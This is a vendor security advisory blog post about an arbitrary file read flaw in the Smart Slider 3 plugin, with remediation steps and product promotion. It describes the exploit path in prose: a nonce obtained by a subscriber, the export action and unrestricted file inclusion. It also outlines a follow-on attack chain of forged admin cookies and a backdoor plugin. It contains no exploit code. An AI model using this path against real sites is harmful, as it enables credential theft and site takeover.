border-top-color: rgba(248, 113, 113, 0.5);
}
.ssc-warn-popover strong {
color: #fff;
font-weight: 700;
}
.ssc-warn-popover a {
color: #fca5a5;
text-decoration: underline;
text-decoration-color: rgba(248, 113, 113, 0.5);
}
.ssc-warn:hover .ssc-warn-popover,
.ssc-warn:focus .ssc-warn-popover,
.ssc-warn:focus-within .ssc-warn-popover {
opacity: 1;
transform: translateX(-50%) translateY(0);
pointer-events: auto;
}
.ssc-warn-fix {
display: inline-block;
margin-left: 4px;
padding: 1px 6px;
border-radius: 4px;
background: linear-gradient(135deg, #16a34a 0%, #15803d 100%);
color: #fff;
font-family: ui-monospace, &quot;SF Mono&quot;, Menlo, Consolas, monospace;
font-size: 0.85em;
font-weight: 700;
text-decoration: none;
vertical-align: baseline;
box-shadow: 0 2px 6px -2px rgba(22, 163, 74, 0.5);
}
@media (prefers-reduced-motion: reduce) {
.ssc-warn::after {
animation: none;
}
}
&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;p&gt;Smart Slider 3, one of the most popular slider plugins for WordPress with over 800,000 active installations, has a vulnerability that lets any registered user download &lt;strong&gt;any file from your server&lt;/strong&gt;. Not just images or slider assets. Any file the web server process can read.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; with your database credentials. &lt;code&gt;/etc/passwd&lt;/code&gt;. Your &lt;code&gt;.env&lt;/code&gt; file. Private SSL keys. Database backup files sitting in a directory someone forgot to protect. Payment gateway configs. SMTP credentials. If it&apos;s on the filesystem and readable by the web server, an attacker with nothing more than a free subscriber account can download it.&lt;/p&gt;
&lt;p&gt;The vulnerability (&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;CVE-2026-3098&lt;/a&gt;, CVSS 6.5 Medium) affects all versions up to and including 3.5.1.33. If you run Smart Slider 3, update to &amp;lt;span class=&quot;ssc-warn&quot; tabindex=&quot;0&quot;&amp;gt;&lt;strong&gt;version 3.5.1.34&lt;/strong&gt;&amp;lt;span class=&quot;ssc-warn-popover&quot;&amp;gt;&amp;lt;strong&amp;gt;Outdated advice.&amp;lt;/strong&amp;gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend&apos;s update channel. Skip 3.5.1.35 and update directly to &amp;lt;strong&amp;gt;3.5.1.36&amp;lt;/strong&amp;gt; or later. &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&amp;gt;Read why&amp;lt;/a&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot; class=&quot;ssc-warn-fix&quot;&amp;gt;3.5.1.36+&amp;lt;/a&amp;gt; now.&lt;/p&gt;
&lt;p&gt;This was &lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;first reported by Wordfence&lt;/a&gt;, but their disclosure doesn&apos;t mention Joomla once. Smart Slider 3 also ships as a Joomla extension, and we&apos;ve confirmed it shares the same vulnerable codebase - identical files, identical hashes. If you manage Joomla sites, &lt;a href=&quot;#is-the-joomla-version-of-smart-slider-3-also-vulnerable&quot;&gt;read the Joomla section below&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;style&amp;gt;
.glossary-trigger {
position: relative;
cursor: help;
text-decoration-line: underline;
text-decoration-style: dotted;
text-decoration-color: var(--color-border-emphasis);
text-underline-offset: 4px;
}
.glossary-trigger:hover .glossary-popover,
.glossary-trigger:focus .glossary-popover {
opacity: 1;
transform: translateY(0);
pointer-events: auto;
}
.glossary-popover {
position: absolute;
left: 0;
top: calc(100% + 8px);
width: max-content;
max-width: 280px;
padding: 10px 14px;
border-radius: var(--radius-md);
background: var(--color-bg-default);
border: 1px solid var(--color-border-default);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.12), 0 2px 8px rgba(0, 0, 0, 0.06);
font-size: 0.875rem;
font-weight: 400;
line-height: 1.5;
color: var(--color-fg-muted);
opacity: 0;
transform: translateY(-4px);
transition: opacity 0.15s ease-out, transform 0.15s ease-out;
pointer-events: none;
z-index: 10;
}
.dark .glossary-popover {
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.4), 0 2px 8px rgba(0, 0, 0, 0.3);
}
@media (prefers-reduced-motion: reduce) {
.glossary-popover { transition: none; }
}
&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h2 id=&quot;tldr&quot;&amp;gt;&amp;lt;span class=&quot;glossary-trigger&quot; tabindex=&quot;0&quot;&amp;gt;TL;DR&amp;lt;span class=&quot;glossary-popover&quot;&amp;gt;&quot;Too Long; Didn&apos;t Read&quot; - a quick summary of the key points.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-3098&lt;/strong&gt; - CVSS 6.5 arbitrary file read in Smart Slider 3 versions up to 3.5.1.33&lt;/li&gt;
&lt;li&gt;Any subscriber-level user can download any file the web server can read: &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;/etc/passwd&lt;/code&gt;, private keys, database backups, payment configs&lt;/li&gt;
&lt;li&gt;Update to &amp;lt;span class=&quot;ssc-warn&quot; tabindex=&quot;0&quot;&amp;gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3.5.1.34&lt;/a&gt;&amp;lt;span class=&quot;ssc-warn-popover&quot;&amp;gt;&amp;lt;strong&amp;gt;Outdated advice.&amp;lt;/strong&amp;gt; Version 3.5.1.35 was a malicious supply-chain release. Skip it and update directly to &amp;lt;strong&amp;gt;3.5.1.36&amp;lt;/strong&amp;gt; or later. &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&amp;gt;Read why&amp;lt;/a&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; — now use &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot; class=&quot;ssc-warn-fix&quot;&amp;gt;3.5.1.36+&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;After updating, regenerate your authentication keys/salts and change your database password&lt;/li&gt;
&lt;li&gt;Sites with open user registration are at highest risk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;Update now. Don&apos;t wait.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;This vulnerability is public knowledge. The exploit requires only a free subscriber account. If your site allows any form of user registration, every minute you wait is a minute an attacker could be downloading your database credentials, private keys, and every other sensitive file on your server.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How Many mySites.guru Users Are Affected by Smart Slider 3?&lt;/h2&gt;
&lt;p&gt;We checked our database this morning. Across the thousands of agencies using mySites.guru:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 grid grid-cols-2 gap-4&quot;&amp;gt;
&amp;lt;div class=&quot;rounded-lg border border-red-200 bg-red-50 p-6 text-center dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;text-4xl font-bold text-red-900 dark:text-red-200&quot;&amp;gt;724&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm font-medium text-red-800 dark:text-red-300&quot;&amp;gt;Agencies affected&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;rounded-lg border border-red-200 bg-red-50 p-6 text-center dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;text-4xl font-bold text-red-900 dark:text-red-200&quot;&amp;gt;7,869&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm font-medium text-red-800 dark:text-red-300&quot;&amp;gt;Sites running vulnerable versions&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Every one of those agencies already has a warning in their mySites.guru dashboard, because the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API is built into the platform&lt;/a&gt; and flagged it automatically. All 724 are being emailed today.&lt;/p&gt;
&lt;p&gt;Those 724 agencies didn&apos;t need to read this post to know they had a problem. They already knew.&lt;/p&gt;
&lt;h3&gt;How Does the mySites.guru Detection of Smart Slider 3 Work?&lt;/h3&gt;
&lt;p&gt;Twice a day, a snapshot runs on each connected WordPress site, collecting every installed plugin and its version number. That list gets cross-referenced against Wordfence, CVE/Mitre, and custom threat intelligence databases.&lt;/p&gt;
&lt;p&gt;If your site runs Smart Slider 3 version 3.5.1.33 or earlier, it gets flagged with the specific CVE, severity rating, and a direct link to the advisory. No manual checking required.&lt;/p&gt;
&lt;p&gt;This isn&apos;t the first time mySites.guru has flagged Smart Slider 3 either. The plugin had a previous SQL Injection vulnerability (CVE-2025-6348) in versions up to 3.5.1.28 that was also caught automatically. Here&apos;s what the vulnerability warning looks like in the mySites.guru dashboard:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Every vulnerable plugin version gets its own entry with the full advisory text, so you know exactly what the risk is before deciding how urgently to patch.&lt;/p&gt;
&lt;h3&gt;How to Quickly Find Which Sites Have Smart Slider 3 Installed with mySites.guru&lt;/h3&gt;
&lt;p&gt;When a vulnerability like this drops, the first question is: &quot;Which of my sites have this installed?&quot; If you manage 50 or 200 client sites, you don&apos;t have time to log into each one and check the plugins page.&lt;/p&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site. One URL gives you the complete list of every site running Smart Slider 3, broken down by version number, with the site&apos;s PHP version, WordPress version, and SSL status alongside it:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;View all your Smart Slider 3 installations&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Smart Slider 3 Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Lists every version installed across all your connected sites, grouped by version number. You&apos;ll see which sites are still on vulnerable versions at a glance.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Every version of Smart Slider 3 installed across your sites is listed at the top. Below that, every individual site running the plugin, with its exact version. You can see which sites are still on vulnerable versions and which have already been updated to 3.5.1.34.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, you know exactly which clients are exposed, and you start patching.&lt;/p&gt;
&lt;h3&gt;How to Push the Smart Slider 3 Update Across All Your Sites&lt;/h3&gt;
&lt;p&gt;Once you know which sites are affected, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running the vulnerable version and push the update in one batch. When a vulnerability drops affecting 800,000 sites, the agencies that patch in hours rather than weeks are the ones that don&apos;t end up in incident response.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Happened with Smart Slider 3 CVE-2026-3098?&lt;/h2&gt;
&lt;p&gt;The vulnerability was discovered by Dmitrii Ignatyev on February 23, 2026, and reported through the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;Wordfence Bug Bounty Program&lt;/a&gt; (earning a $2,208 bounty). Wordfence validated the proof-of-concept the next day and notified the developer, Nextend.&lt;/p&gt;
&lt;p&gt;The problem is a missing capability check in Smart Slider 3&apos;s export functionality. The plugin&apos;s AJAX actions that handle slider exports are protected by a nonce (a one-time token that proves the request came from a logged-in session), but there&apos;s no check on whether the user actually has permission to use that feature.&lt;/p&gt;
&lt;p&gt;A nonce proves you&apos;re logged in. It doesn&apos;t prove you&apos;re an admin.&lt;/p&gt;
&lt;p&gt;In the vulnerable version, any authenticated user, including someone with just a subscriber account, could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the required nonce (it&apos;s available to any authenticated user)&lt;/li&gt;
&lt;li&gt;Call the &lt;code&gt;actionExportAll&lt;/code&gt; function via AJAX&lt;/li&gt;
&lt;li&gt;Receive a ZIP file containing exported slider data, including any referenced files&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;ExportSlider&lt;/code&gt; class&apos;s &lt;code&gt;create()&lt;/code&gt; method adds files to the export ZIP using &lt;code&gt;file_get_contents()&lt;/code&gt; without validating file types or restricting which directories can be accessed. Image files, video files, PHP files, config files, private keys - everything is treated the same way. There is no allowlist, no path restriction, and no file extension check. An attacker can manipulate the export to include any file the web server process can read.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;Important: this is not limited to wp-config.php&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;Any file readable by the web server is exposed. That includes &amp;lt;code&amp;gt;.env&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, database backups, SSL private keys, payment gateway configs, SMTP credentials, and any other sensitive file on the server. If you run Smart Slider 3 on a shared hosting account, other sites on the same server may also be at risk depending on your host&apos;s isolation setup.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Why Is the Smart Slider 3 File Read So Dangerous?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; gets the most attention because it contains everything an attacker needs to own your site, but most servers have sensitive files well beyond WordPress configs.&lt;/p&gt;
&lt;p&gt;A single read of &lt;code&gt;wp-config.php&lt;/code&gt; gives an attacker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database username, password, host, and database name. If the database port is accessible from outside the server (more common than you&apos;d think on budget hosting), they can connect directly and pull user password hashes, customer data, WooCommerce orders, and private content.&lt;/li&gt;
&lt;li&gt;Authentication keys and salts - the eight constants (&lt;code&gt;AUTH_KEY&lt;/code&gt;, &lt;code&gt;SECURE_AUTH_KEY&lt;/code&gt;, &lt;code&gt;LOGGED_IN_KEY&lt;/code&gt;, &lt;code&gt;NONCE_KEY&lt;/code&gt;, and their corresponding salts) that WordPress uses to sign session cookies. With these values, an attacker can forge a valid admin session cookie without knowing the admin password.&lt;/li&gt;
&lt;li&gt;The table prefix, which makes SQL injection attacks against other vulnerabilities more precise.&lt;/li&gt;
&lt;li&gt;Any third-party secrets stored as constants: API keys, payment gateway credentials, SMTP passwords, cloud storage keys. Many plugins put these in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The practical attack chain: forge an admin cookie using the stolen keys, log into wp-admin, install a backdoor plugin, and maintain persistent access even after the original vulnerability is patched.&lt;/p&gt;
&lt;h2&gt;Who Is at Risk from the Smart Slider 3 Vulnerability?&lt;/h2&gt;
&lt;p&gt;The vulnerability requires subscriber-level authentication, the lowest role in WordPress. This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WooCommerce stores, where customers create accounts to place orders (subscriber access)&lt;/li&gt;
&lt;li&gt;Membership sites and anything using a registration plugin&lt;/li&gt;
&lt;li&gt;Any site with &quot;Anyone can register&quot; enabled in Settings &amp;gt; General&lt;/li&gt;
&lt;li&gt;Multisite networks, where user registration on any site in the network provides the access level needed&lt;/li&gt;
&lt;li&gt;Sites with compromised low-privilege accounts from a previous breach or credential stuffing attack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your site doesn&apos;t allow any form of user registration and has no subscriber accounts, the risk is significantly lower (but not zero, since an attacker could exploit a separate vulnerability to create an account first).&lt;/p&gt;
&lt;h2&gt;What Should You Do About Smart Slider 3 Right Now?&lt;/h2&gt;
&lt;h3&gt;1. Update Smart Slider 3 to &amp;lt;span class=&quot;ssc-warn&quot; tabindex=&quot;0&quot;&amp;gt;3.5.1.34&amp;lt;span class=&quot;ssc-warn-popover&quot;&amp;gt;&amp;lt;strong&amp;gt;Outdated advice.&amp;lt;/strong&amp;gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend&apos;s update infrastructure. Skip 3.5.1.35 entirely and update directly to &amp;lt;strong&amp;gt;3.5.1.36&amp;lt;/strong&amp;gt; or later. &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&amp;gt;Read why&amp;lt;/a&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; 3.5.1.36 or Later&lt;/h3&gt;
&lt;p&gt;The 3.5.1.34 patch adds capability checks to the export AJAX actions and originally fixed CVE-2026-3098. However, &lt;strong&gt;version 3.5.1.35 was a malicious supply-chain release&lt;/strong&gt; containing a remote code execution backdoor. Always install &lt;strong&gt;3.5.1.36 or newer&lt;/strong&gt; to get both the CVE fix and a clean codebase. Update through the WordPress plugin updater or download from &lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;wordpress.org&lt;/a&gt;. See &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;the supply-chain compromise post&lt;/a&gt; for the full background.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the update everywhere at once.&lt;/p&gt;
&lt;h3&gt;2. Regenerate Your Authentication Keys and Salts&lt;/h3&gt;
&lt;p&gt;If there&apos;s any chance the vulnerability was exploited before you patched, your keys and salts should be considered compromised. Generate new ones at &lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;api.wordpress.org/secret-key/1.1/salt/&lt;/a&gt; and replace the existing values in &lt;code&gt;wp-config.php&lt;/code&gt;. This immediately invalidates all active sessions, forcing every user (including any attacker with a forged cookie) to log in again.&lt;/p&gt;
&lt;h3&gt;3. Change Your Database Password&lt;/h3&gt;
&lt;p&gt;Update the password in your hosting control panel or database server, then update &lt;code&gt;DB_PASSWORD&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to match. If the attacker read your credentials, this cuts off direct database access.&lt;/p&gt;
&lt;h3&gt;4. Audit Your User Accounts&lt;/h3&gt;
&lt;p&gt;Check your WordPress user list for accounts you don&apos;t recognize, especially subscribers. Delete any unauthorized accounts. If you manage multiple sites, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;user management&lt;/a&gt; lets you review accounts across all your sites from one place.&lt;/p&gt;
&lt;h3&gt;5. Run a Security Audit&lt;/h3&gt;
&lt;p&gt;Use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors or modified files. If an attacker escalated from file read to admin access using forged cookies, they may have left persistent backdoors that survive the plugin update.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you&apos;ll be alerted immediately if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Check your access logs for unusual requests to Smart Slider 3&apos;s AJAX endpoints. Look for POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; with actions related to slider export from IP addresses you don&apos;t recognize. This can help determine whether the vulnerability was exploited before the patch.&lt;/p&gt;
&lt;h2&gt;Smart Slider 3 Has a History of Vulnerabilities&lt;/h2&gt;
&lt;p&gt;This isn&apos;t a one-off. Smart Slider 3 has had &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;eight documented vulnerabilities&lt;/a&gt; since 2021, including two High-severity issues in 2022. If you&apos;re running this plugin, you need to stay on top of updates.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;Min. Role&lt;/th&gt;
&lt;th&gt;Fixed In&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;CVE-2021-24382&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;4.8&lt;/td&gt;
&lt;td&gt;Author&lt;/td&gt;
&lt;td&gt;3.5.0.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-3357&lt;/td&gt;
&lt;td&gt;PHP Object Injection&lt;/td&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-45843&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;5.4&lt;/td&gt;
&lt;td&gt;Contributor&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-45845&lt;/td&gt;
&lt;td&gt;Deserialization of Untrusted Data&lt;/td&gt;
&lt;td&gt;8.8&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;CVE-2023-0660&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;6.8&lt;/td&gt;
&lt;td&gt;Contributor&lt;/td&gt;
&lt;td&gt;3.5.1.14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;CVE-2024-3027&lt;/td&gt;
&lt;td&gt;Missing Auth / File Upload&lt;/td&gt;
&lt;td&gt;6.4&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;CVE-2025-6348&lt;/td&gt;
&lt;td&gt;SQL Injection via &lt;code&gt;sliderid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7.6&lt;/td&gt;
&lt;td&gt;Admin&lt;/td&gt;
&lt;td&gt;3.5.1.29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;td&gt;CVE-2026-3098&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Arbitrary File Read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6.5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Subscriber&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.5.1.34&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Notice the pattern: three of these eight vulnerabilities (including the current one) require only &lt;strong&gt;subscriber-level access&lt;/strong&gt;. That&apos;s the lowest authenticated role in WordPress. The 2022 PHP Object Injection (CVSS 8.1) and Deserialization (CVSS 8.8) issues were both subscriber-exploitable too.&lt;/p&gt;
&lt;p&gt;The vendor has patched every disclosed vulnerability, and the response time on CVE-2026-3098 (acknowledged March 2, patched March 24) was reasonable. But the recurring pattern, especially around subscriber-level exploits, is something to factor into your risk assessment if you&apos;re deciding whether to keep using this plugin.&lt;/p&gt;
&lt;h3&gt;Is the Joomla Version of Smart Slider 3 Also Vulnerable?&lt;/h3&gt;
&lt;p&gt;Yes. Smart Slider 3 is available for both WordPress and Joomla, and they share the same Nextend framework codebase. We compared the patched Joomla release (3.5.1.34) against the patched WordPress release and found &lt;strong&gt;identical files&lt;/strong&gt; - the md5 hashes of both &lt;code&gt;ExportSlider.php&lt;/code&gt; and &lt;code&gt;ControllerSliders.php&lt;/code&gt; match exactly between platforms.&lt;/p&gt;
&lt;p&gt;The vulnerable code path is the same on both platforms: the &lt;code&gt;actionExportAll()&lt;/code&gt; method lacked a permission check, and &lt;code&gt;ExportSlider::create()&lt;/code&gt; had no file extension whitelist. The 3.5.1.34 patch adds &lt;code&gt;validatePermission(&apos;smartslider_edit&apos;)&lt;/code&gt; and restricts exported files to image and media extensions (jpg, png, gif, mp4, mp3, svg, webp, avif).&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/1746-changelog&quot;&gt;Smart Slider 3 changelog&lt;/a&gt; is unified across both platforms, and the 3.5.1.34 entry (&quot;Fix: Vulnerability improvements&quot;) applies to WordPress and Joomla equally. Earlier entries in the same changelog reference Joomla-specific features like Joomla 6 compatibility, VirtueMart generators, and Joomla article generators, confirming this is a single shared codebase.&lt;/p&gt;
&lt;p&gt;If you run Smart Slider 3 on Joomla sites, update to &amp;lt;span class=&quot;ssc-warn&quot; tabindex=&quot;0&quot;&amp;gt;3.5.1.34&amp;lt;span class=&quot;ssc-warn-popover&quot;&amp;gt;&amp;lt;strong&amp;gt;Outdated advice.&amp;lt;/strong&amp;gt; Version 3.5.1.35 was a malicious supply-chain release affecting both the WordPress and Joomla editions. Skip 3.5.1.35 and update directly to &amp;lt;strong&amp;gt;3.5.1.36&amp;lt;/strong&amp;gt; or later. &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&amp;gt;Read why&amp;lt;/a&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;a href=&quot;/blog/smart-slider-3-pro-supply-chain-compromise/&quot; class=&quot;ssc-warn-fix&quot;&amp;gt;3.5.1.36+&amp;lt;/a&amp;gt; with the same urgency. The Wordfence disclosure focuses on WordPress, but the Joomla version carries identical risk.&lt;/p&gt;
&lt;h3&gt;Other WordPress Slider Plugins Have the Same Problem&lt;/h3&gt;
&lt;p&gt;Smart Slider 3 isn&apos;t alone. In October 2025, Wordfence disclosed a &lt;a href=&quot;https://www.wordfence.com/blog/2025/10/4000000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-slider-revolution-wordpress-plugin/&quot;&gt;similar arbitrary file read in Slider Revolution&lt;/a&gt; affecting 4 million sites. That vulnerability also allowed authenticated users to read arbitrary server files through the export functionality.&lt;/p&gt;
&lt;p&gt;Slider plugins need file system access for exporting and importing configurations. That access, paired with missing authorization checks on export functions, is a recurring vulnerability pattern. The root cause in both cases: nonce validation without capability checks.&lt;/p&gt;
